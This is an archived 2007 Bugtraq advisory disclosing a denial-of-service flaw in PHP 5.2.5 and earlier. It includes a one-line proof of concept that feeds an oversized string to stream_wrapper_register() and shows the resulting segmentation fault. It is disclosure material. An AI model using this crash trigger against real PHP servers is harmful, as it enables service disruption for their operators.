bugtraq - PHP <= 5.2.5 stream_wrapper_register() denial of service

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Message-ID: <20071113194705.1174.qmail@securityfocus.com>
Date: 13 Nov 2007 19:47:05 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP <= 5.2.5 stream_wrapper_register() denial of service

Application: PHP <= 5.2.5
Web Site: http://php.net
Platform: unix
Bug: Denial of service
fonction: stream_wrapper_register()
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

stream_wrapper_register() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :

<?php
stream_wrapper_register("hi",str_repeat("A",8477000));//let's make sure we trigger it !
?>

result:
root@...afebox:~/Desktop# php shot.php
Erreur de segmentation (core dumped)
root@...afebox:~/Desktop#

========
4)Greets
========
Benjilenoob, Ivanlef0u, la team soh, #futurezone, #soh

=====
5)Credits
=====
laurent gaffié